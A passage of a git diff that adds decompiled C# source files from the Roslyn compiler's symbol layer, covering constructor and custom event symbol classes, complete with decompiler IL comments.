_refCustomModifiers; + + internal SourceComplexParameterSymbolWithCustomModifiersPrecedingRef(Symbol owner, int ordinal, TypeWithAnnotations parameterType, RefKind refKind, ImmutableArray refCustomModifiers, string name, Location location, SyntaxReference syntaxRef, bool isParams, bool isExtensionMethodThis, ScopedKind scope) + : base(owner, ordinal, parameterType, refKind, name, location, syntaxRef, isParams, isExtensionMethodThis, scope) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + _refCustomModifiers = refCustomModifiers; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceConstructorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceConstructorSymbol.cs new file mode 100644 index 0000000..b481df9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceConstructorSymbol.cs @@ -0,0 +1,211 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceConstructorSymbol : SourceConstructorSymbolBase +{ + private readonly bool _hasThisInitializer; + + protected override bool AllowRefOrOut => true; + + public static SourceConstructorSymbol CreateConstructorSymbol(SourceMemberContainerTypeSymbol containingType, ConstructorDeclarationSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + MethodKind methodKind = (MethodKind)((!syntax.Modifiers.Any(SyntaxKind.StaticKeyword)) ? 1 : 14); + SyntaxToken identifier = syntax.Identifier; + return new SourceConstructorSymbol(containingType, ((SyntaxToken)(ref identifier)).GetLocation(), syntax, methodKind, isNullableAnalysisEnabled, diagnostics); + } + + private SourceConstructorSymbol(SourceMemberContainerTypeSymbol containingType, Location location, ConstructorDeclarationSyntax syntax, MethodKind methodKind, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, location, syntax, SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax), MakeModifiersAndFlags(containingType, syntax, methodKind, isNullableAnalysisEnabled, location, diagnostics, out var modifierErrors, out var report_ERR_StaticConstructorWithAccessModifiers)) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Invalid comparison between Unknown and I4 + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Invalid comparison between Unknown and I4 + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + ConstructorInitializerSyntax? initializer = syntax.Initializer; + _hasThisInitializer = initializer != null && initializer.Kind() == SyntaxKind.ThisConstructorInitializer; + this.CheckUnsafeModifier(DeclarationModifiers, diagnostics); + if (report_ERR_StaticConstructorWithAccessModifiers) + { + diagnostics.Add(ErrorCode.ERR_StaticConstructorWithAccessModifiers, location, this); + } + SyntaxToken identifier = syntax.Identifier; + if (((SyntaxToken)(ref identifier)).ValueText != containingType.Name) + { + diagnostics.Add(ErrorCode.ERR_MemberNeedsType, location); + } + bool flag = syntax.HasAnyBody(); + if (IsExtern) + { + if ((int)methodKind == 1 && syntax.Initializer != null) + { + diagnostics.Add(ErrorCode.ERR_ExternHasConstructorInitializer, location, this); + } + if (flag) + { + diagnostics.Add(ErrorCode.ERR_ExternHasBody, location, this); + } + } + if ((int)methodKind == 14) + { + CheckFeatureAvailabilityAndRuntimeSupport((SyntaxNode)(object)syntax, location, flag, diagnostics); + } + ModifierUtils.CheckAccessibility(DeclarationModifiers, this, isExplicitInterfaceImplementation: false, diagnostics, location); + if (!modifierErrors) + { + CheckModifiers(methodKind, flag, location, diagnostics); + } + Symbol.CheckForBlockAndExpressionBody(syntax.Body, syntax.ExpressionBody, syntax, diagnostics); + } + + private static (DeclarationModifiers, Flags) MakeModifiersAndFlags(NamedTypeSymbol containingType, ConstructorDeclarationSyntax syntax, MethodKind methodKind, bool isNullableAnalysisEnabled, Location location, BindingDiagnosticBag diagnostics, out bool modifierErrors, out bool report_ERR_StaticConstructorWithAccessModifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + DeclarationModifiers declarationModifiers = MakeModifiers(containingType, syntax, methodKind, syntax.HasAnyBody(), location, diagnostics, out modifierErrors, out report_ERR_StaticConstructorWithAccessModifiers); + bool isExpressionBodied = syntax.IsExpressionBodied(); + bool isVarArg = syntax.IsVarArg(); + Flags item = SourceMemberMethodSymbol.MakeFlags(methodKind, (RefKind)0, declarationModifiers, returnsVoid: true, returnsVoidIsSet: true, isExpressionBodied, isExtensionMethod: false, isNullableAnalysisEnabled, isVarArg, isExplicitInterfaceImplementation: false); + return (declarationModifiers, item); + } + + internal ConstructorDeclarationSyntax GetSyntax() + { + return (ConstructorDeclarationSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } + + protected override ParameterListSyntax GetParameterList() + { + return GetSyntax().ParameterList; + } + + protected override CSharpSyntaxNode GetInitializer() + { + return GetSyntax().Initializer; + } + + private static DeclarationModifiers MakeModifiers(NamedTypeSymbol containingType, ConstructorDeclarationSyntax syntax, MethodKind methodKind, bool hasBody, Location location, BindingDiagnosticBag diagnostics, out bool modifierErrors, out bool report_ERR_StaticConstructorWithAccessModifiers) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + DeclarationModifiers defaultAccess = (((int)methodKind != 14) ? DeclarationModifiers.Private : DeclarationModifiers.None); + bool isInterface = containingType.IsInterface; + DeclarationModifiers declarationModifiers = ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: false, isInterface, syntax.Modifiers, defaultAccess, DeclarationModifiers.AccessibilityMask | DeclarationModifiers.Static | DeclarationModifiers.Extern | DeclarationModifiers.Unsafe, location, diagnostics, out modifierErrors); + report_ERR_StaticConstructorWithAccessModifiers = false; + if ((int)methodKind == 14) + { + if ((declarationModifiers & DeclarationModifiers.AccessibilityMask) != DeclarationModifiers.None) + { + string name = containingType.Name; + SyntaxToken identifier = syntax.Identifier; + if (name == ((SyntaxToken)(ref identifier)).ValueText) + { + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFFFC0Fu); + report_ERR_StaticConstructorWithAccessModifiers = true; + modifierErrors = true; + } + } + declarationModifiers |= DeclarationModifiers.Private; + if (isInterface) + { + ModifierUtils.ReportDefaultInterfaceImplementationModifiers(hasBody, declarationModifiers, DeclarationModifiers.Extern, location, diagnostics); + } + } + return declarationModifiers; + } + + private void CheckModifiers(MethodKind methodKind, bool hasBody, Location location, BindingDiagnosticBag diagnostics) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Invalid comparison between Unknown and I4 + if (!hasBody && !IsExtern) + { + diagnostics.Add(ErrorCode.ERR_ConcreteMissingBody, location, this); + } + else if (ContainingType.IsSealed && DeclaredAccessibility.HasProtected() && !IsOverride) + { + diagnostics.Add(AccessCheck.GetProtectedMemberInSealedTypeError(ContainingType), location, this); + } + else if (ContainingType.IsStatic && (int)methodKind == 1) + { + diagnostics.Add(ErrorCode.ERR_ConstructorInStaticClass, location); + } + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(((ConstructorDeclarationSyntax)SyntaxNode).AttributeLists); + } + + internal override bool IsNullableAnalysisEnabled() + { + if (!_hasThisInitializer) + { + return ((SourceMemberContainerTypeSymbol)ContainingType).IsNullableEnabledForConstructorsAndInitializers(IsStatic); + } + return flags.IsNullableAnalysisEnabled; + } + + protected override bool IsWithinExpressionOrBlockBody(int position, out int offset) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + ConstructorDeclarationSyntax syntax = GetSyntax(); + BlockSyntax? body = syntax.Body; + TextSpan span; + if (body != null) + { + span = ((SyntaxNode)body).Span; + if (((TextSpan)(ref span)).Contains(position)) + { + span = ((SyntaxNode)syntax.Body).Span; + offset = position - ((TextSpan)(ref span)).Start; + return true; + } + } + ArrowExpressionClauseSyntax? expressionBody = syntax.ExpressionBody; + if (expressionBody != null) + { + span = ((SyntaxNode)expressionBody).Span; + if (((TextSpan)(ref span)).Contains(position)) + { + span = ((SyntaxNode)syntax.ExpressionBody).Span; + offset = position - ((TextSpan)(ref span)).Start; + return true; + } + } + offset = -1; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceConstructorSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceConstructorSymbolBase.cs new file mode 100644 index 0000000..9b26f2b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceConstructorSymbolBase.cs @@ -0,0 +1,222 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceConstructorSymbolBase : SourceMemberMethodSymbol +{ + protected ImmutableArray _lazyParameters; + + private TypeWithAnnotations _lazyReturnType; + + protected abstract bool AllowRefOrOut { get; } + + public sealed override bool IsImplicitlyDeclared => base.IsImplicitlyDeclared; + + internal sealed override int ParameterCount + { + get + { + if (!_lazyParameters.IsDefault) + { + return _lazyParameters.Length; + } + return GetParameterList().ParameterCount; + } + } + + public sealed override ImmutableArray Parameters + { + get + { + LazyMethodChecks(); + return _lazyParameters; + } + } + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + LazyMethodChecks(); + return _lazyReturnType; + } + } + + public sealed override string Name + { + get + { + if (!IsStatic) + { + return ".ctor"; + } + return ".cctor"; + } + } + + internal sealed override bool GenerateDebugInfo => true; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + MethodEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonMethodEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).HasSetsRequiredMembersAttribute; + } + } + + protected SourceConstructorSymbolBase(SourceMemberContainerTypeSymbol containingType, Location location, CSharpSyntaxNode syntax, bool isIterator, (DeclarationModifiers declarationModifiers, Flags flags) modifiersAndFlags) + : base(containingType, syntax.GetReference(), location, isIterator, modifiersAndFlags) + { + } + + protected sealed override void MethodChecks(BindingDiagnosticBag diagnostics) + { + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Invalid comparison between Unknown and I4 + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + BinderFactory binderFactory = DeclaringCompilation.GetBinderFactory(cSharpSyntaxNode.SyntaxTree); + ParameterListSyntax parameterList = GetParameterList(); + Binder binder = binderFactory.GetBinder((SyntaxNode)(object)parameterList, cSharpSyntaxNode, this).WithContainingMemberOrLambda(this); + Binder withTypeParametersBinder = binder.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks, this); + bool allowRefOrOut = AllowRefOrOut; + _lazyParameters = ImmutableArrayExtensions.Cast(ParameterHelpers.MakeParameters(withTypeParametersBinder, this, parameterList, out var arglistToken, diagnostics, allowRefOrOut, allowThis: false, addRefReadOnlyModifier: false)); + _lazyReturnType = TypeWithAnnotations.Create(binder.GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)cSharpSyntaxNode)); + Location firstLocation = GetFirstLocation(); + if ((int)MethodKind == 14 && _lazyParameters.Length != 0) + { + string name = ContainingType.Name; + arglistToken = ((ConstructorDeclarationSyntax)SyntaxNode).Identifier; + if (name == ((SyntaxToken)(ref arglistToken)).ValueText) + { + diagnostics.Add(ErrorCode.ERR_StaticConstParam, firstLocation, this); + } + } + CheckEffectiveAccessibility(_lazyReturnType, _lazyParameters, diagnostics); + CheckFileTypeUsage(_lazyReturnType, _lazyParameters, diagnostics); + if (IsVararg && (IsGenericMethod || ContainingType.IsGenericType || (_lazyParameters.Length > 0 && _lazyParameters[_lazyParameters.Length - 1].IsParams))) + { + diagnostics.Add(ErrorCode.ERR_BadVarargs, firstLocation); + } + } + + protected abstract ParameterListSyntax GetParameterList(); + + internal sealed override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + base.AfterAddingTypeMembersChecks(conversions, diagnostics); + CSharpCompilation declaringCompilation = DeclaringCompilation; + ParameterHelpers.EnsureRefKindAttributesExist(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + ParameterHelpers.EnsureNativeIntegerAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + ParameterHelpers.EnsureScopedRefAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + ParameterHelpers.EnsureNullableAttributeExists(declaringCompilation, this, Parameters, diagnostics, modifyCompilation: true); + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + current.Type.CheckAllConstraints(declaringCompilation, conversions, current.GetFirstLocation(), diagnostics); + } + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + internal sealed override OneOrMany> GetReturnTypeAttributeDeclarations() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(default(SyntaxList)); + } + + internal sealed override int CalculateLocalSyntaxOffset(int position, SyntaxTree tree) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + if (tree == cSharpSyntaxNode.SyntaxTree) + { + if (IsWithinExpressionOrBlockBody(position, out var offset)) + { + return offset; + } + if (position == ((SyntaxNode)cSharpSyntaxNode).SpanStart) + { + return -1; + } + } + CSharpSyntaxNode initializer = GetInitializer(); + int num; + if (tree == initializer?.SyntaxTree) + { + TextSpan span = ((SyntaxNode)initializer).Span; + num = ((TextSpan)(ref span)).Length; + if (((TextSpan)(ref span)).Contains(position)) + { + return -num + (position - ((TextSpan)(ref span)).Start); + } + } + else + { + num = 0; + } + if (((SourceNamedTypeSymbol)ContainingType).TryCalculateSyntaxOffsetOfPositionInInitializer(position, tree, IsStatic, num, out var syntaxOffset)) + { + return syntaxOffset; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceConstructorSymbolBase.cs", 218); + } + + internal abstract override bool IsNullableAnalysisEnabled(); + + protected abstract CSharpSyntaxNode GetInitializer(); + + protected abstract bool IsWithinExpressionOrBlockBody(int position, out int offset); + + internal override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (arguments.SymbolPart == AttributeLocation.None && CSharpAttributeData.IsTargetEarlyAttribute(arguments.AttributeType, arguments.AttributeSyntax, AttributeDescription.SetsRequiredMembersAttribute)) + { + ((CommonMethodEarlyWellKnownAttributeData)arguments.GetOrCreateData()).HasSetsRequiredMembersAttribute = true; + if (ContainingType.IsWellKnownSetsRequiredMembersAttribute()) + { + return (null, null); + } + var (item, item2) = arguments.Binder.GetAttribute(arguments.AttributeSyntax, arguments.AttributeType, null, null, out var generatedDiagnostics); + if (!generatedDiagnostics) + { + return (item, item2); + } + return (null, null); + } + return base.EarlyDecodeWellKnownAttribute(ref arguments); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + MethodSymbol.AddRequiredMembersMarkerAttributes(ref attributes, this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceCustomEventAccessorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceCustomEventAccessorSymbol.cs new file mode 100644 index 0000000..6c47959 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceCustomEventAccessorSymbol.cs @@ -0,0 +1,59 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceCustomEventAccessorSymbol : SourceEventAccessorSymbol +{ + public override Accessibility DeclaredAccessibility => AssociatedSymbol.DeclaredAccessibility; + + public override bool IsImplicitlyDeclared => false; + + internal override bool GenerateDebugInfo => true; + + internal SourceCustomEventAccessorSymbol(SourceEventSymbol @event, AccessorDeclarationSyntax syntax, EventSymbol explicitlyImplementedEventOpt, string aliasQualifierOpt, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + SyntaxReference reference = syntax.GetReference(); + SyntaxToken val = syntax.Keyword; + base._002Ector(@event, reference, ((SyntaxToken)(ref val)).GetLocation(), explicitlyImplementedEventOpt, aliasQualifierOpt, syntax.Kind() == SyntaxKind.AddAccessorDeclaration, SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax.Body), isNullableAnalysisEnabled, syntax != null && syntax.Body == null && syntax.ExpressionBody != null); + CheckFeatureAvailabilityAndRuntimeSupport((SyntaxNode)(object)syntax, base.Location, hasBody: true, diagnostics); + if ((syntax.Body != null || syntax.ExpressionBody != null) && IsExtern && !IsAbstract) + { + diagnostics.Add(ErrorCode.ERR_ExternHasBody, base.Location, this); + } + SyntaxTokenList modifiers = syntax.Modifiers; + if (((SyntaxTokenList)(ref modifiers)).Count > 0) + { + modifiers = syntax.Modifiers; + val = ((SyntaxTokenList)(ref modifiers))[0]; + diagnostics.Add(ErrorCode.ERR_NoModifiersOnAccessor, ((SyntaxToken)(ref val)).GetLocation()); + } + Symbol.CheckForBlockAndExpressionBody(syntax.Body, syntax.ExpressionBody, syntax, diagnostics); + } + + internal AccessorDeclarationSyntax GetSyntax() + { + return (AccessorDeclarationSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(GetSyntax().AttributeLists); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceCustomEventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceCustomEventSymbol.cs new file mode 100644 index 0000000..b8194a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceCustomEventSymbol.cs @@ -0,0 +1,205 @@ +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceCustomEventSymbol : SourceEventSymbol +{ + private readonly TypeWithAnnotations _type; + + private readonly string _name; + + private readonly SourceEventAccessorSymbol? _addMethod; + + private readonly SourceEventAccessorSymbol? _removeMethod; + + private readonly TypeSymbol _explicitInterfaceType; + + private readonly ImmutableArray _explicitInterfaceImplementations; + + public override TypeWithAnnotations TypeWithAnnotations => _type; + + public override string Name => _name; + + public override MethodSymbol? AddMethod => _addMethod; + + public override MethodSymbol? RemoveMethod => _removeMethod; + + protected override AttributeLocation AllowedAttributeLocations => AttributeLocation.Event; + + private ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => ((EventDeclarationSyntax)base.CSharpSyntaxNode).ExplicitInterfaceSpecifier; + + internal override bool IsExplicitInterfaceImplementation => ExplicitInterfaceSpecifier != null; + + public override ImmutableArray ExplicitInterfaceImplementations => _explicitInterfaceImplementations; + + internal SourceCustomEventSymbol(SourceMemberContainerTypeSymbol containingType, Binder binder, EventDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + : base(containingType, syntax, syntax.Modifiers, isFieldLike: false, syntax.ExplicitInterfaceSpecifier, syntax.Identifier, diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_0196: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_0223: Unknown result type (might be due to invalid IL or missing references) + //IL_0228: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + //IL_0271: Unknown result type (might be due to invalid IL or missing references) + //IL_0276: Unknown result type (might be due to invalid IL or missing references) + //IL_0243: Unknown result type (might be due to invalid IL or missing references) + //IL_0248: Unknown result type (might be due to invalid IL or missing references) + //IL_01de: Unknown result type (might be due to invalid IL or missing references) + //IL_01f5: Unknown result type (might be due to invalid IL or missing references) + //IL_01fa: Unknown result type (might be due to invalid IL or missing references) + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = syntax.ExplicitInterfaceSpecifier; + SyntaxToken identifier = syntax.Identifier; + bool flag = explicitInterfaceSpecifier != null; + _name = ExplicitInterfaceHelpers.GetMemberNameAndInterfaceSymbol(binder, explicitInterfaceSpecifier, ((SyntaxToken)(ref identifier)).ValueText, diagnostics, out _explicitInterfaceType, out string aliasQualifierOpt); + _type = BindEventType(binder, syntax.Type, diagnostics); + EventSymbol eventSymbol = this.FindExplicitlyImplementedEvent(_explicitInterfaceType, ((SyntaxToken)(ref identifier)).ValueText, explicitInterfaceSpecifier, diagnostics); + this.FindExplicitlyImplementedMemberVerification(eventSymbol, diagnostics); + if (!flag) + { + if (IsOverride) + { + EventSymbol overriddenEvent = base.OverriddenEvent; + if ((object)overriddenEvent != null) + { + SourceEventSymbol.CopyEventCustomModifiers(overriddenEvent, ref _type, ContainingAssembly); + } + } + } + else if ((object)eventSymbol != null) + { + SourceEventSymbol.CopyEventCustomModifiers(eventSymbol, ref _type, ContainingAssembly); + } + AccessorDeclarationSyntax accessorDeclarationSyntax = null; + AccessorDeclarationSyntax accessorDeclarationSyntax2 = null; + if (syntax.AccessorList != null) + { + Enumerator enumerator = syntax.AccessorList.Accessors.GetEnumerator(); + SyntaxToken val; + while (enumerator.MoveNext()) + { + AccessorDeclarationSyntax current = enumerator.Current; + bool flag2 = false; + switch (current.Kind()) + { + case SyntaxKind.AddAccessorDeclaration: + if (accessorDeclarationSyntax == null) + { + accessorDeclarationSyntax = current; + flag2 = true; + } + else + { + val = current.Keyword; + diagnostics.Add(ErrorCode.ERR_DuplicateAccessor, ((SyntaxToken)(ref val)).GetLocation()); + } + break; + case SyntaxKind.RemoveAccessorDeclaration: + if (accessorDeclarationSyntax2 == null) + { + accessorDeclarationSyntax2 = current; + flag2 = true; + } + else + { + val = current.Keyword; + diagnostics.Add(ErrorCode.ERR_DuplicateAccessor, ((SyntaxToken)(ref val)).GetLocation()); + } + break; + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + val = current.Keyword; + diagnostics.Add(ErrorCode.ERR_AddOrRemoveExpected, ((SyntaxToken)(ref val)).GetLocation()); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)current.Kind()); + case SyntaxKind.UnknownAccessorDeclaration: + break; + } + if (flag2 && !IsAbstract && current.Body == null && current.ExpressionBody == null && current.SemicolonToken.Kind() == SyntaxKind.SemicolonToken) + { + val = current.SemicolonToken; + diagnostics.Add(ErrorCode.ERR_AddRemoveMustHaveBody, ((SyntaxToken)(ref val)).GetLocation()); + } + } + if (IsAbstract) + { + val = syntax.AccessorList.OpenBraceToken; + if (!((SyntaxToken)(ref val)).IsMissing) + { + val = syntax.AccessorList.OpenBraceToken; + diagnostics.Add(ErrorCode.ERR_AbstractEventHasAccessors, ((SyntaxToken)(ref val)).GetLocation(), this); + } + } + else if (accessorDeclarationSyntax == null || accessorDeclarationSyntax2 == null) + { + val = syntax.AccessorList.OpenBraceToken; + if (!((SyntaxToken)(ref val)).IsMissing || !flag) + { + diagnostics.Add(ErrorCode.ERR_EventNeedsBothAccessors, GetFirstLocation(), this); + } + } + } + else if (flag && !IsAbstract) + { + diagnostics.Add(ErrorCode.ERR_ExplicitEventFieldImpl, GetFirstLocation()); + } + if (flag && IsAbstract && syntax.AccessorList == null) + { + Binder.CheckFeatureAvailability((SyntaxNode)(object)syntax, MessageID.IDS_DefaultInterfaceImplementation, diagnostics, GetFirstLocation()); + if (!ContainingAssembly.RuntimeSupportsDefaultInterfaceImplementation) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation, GetFirstLocation()); + } + _addMethod = new SynthesizedEventAccessorSymbol(this, isAdder: true, isExpressionBodied: false, eventSymbol, aliasQualifierOpt); + _removeMethod = new SynthesizedEventAccessorSymbol(this, isAdder: false, isExpressionBodied: false, eventSymbol, aliasQualifierOpt); + } + else + { + _addMethod = CreateAccessorSymbol(DeclaringCompilation, accessorDeclarationSyntax, eventSymbol, aliasQualifierOpt, diagnostics); + _removeMethod = CreateAccessorSymbol(DeclaringCompilation, accessorDeclarationSyntax2, eventSymbol, aliasQualifierOpt, diagnostics); + } + _explicitInterfaceImplementations = (((object)eventSymbol == null) ? ImmutableArray.Empty : ImmutableArray.Create(eventSymbol)); + } + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected O, but got Unknown + base.AfterAddingTypeMembersChecks(conversions, diagnostics); + if ((object)_explicitInterfaceType != null) + { + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = ExplicitInterfaceSpecifier; + _explicitInterfaceType.CheckAllConstraints(DeclaringCompilation, conversions, (Location)new SourceLocation((SyntaxNode)(object)explicitInterfaceSpecifier.Name), diagnostics); + } + if (!_explicitInterfaceImplementations.IsEmpty) + { + EventSymbol interfaceMember = 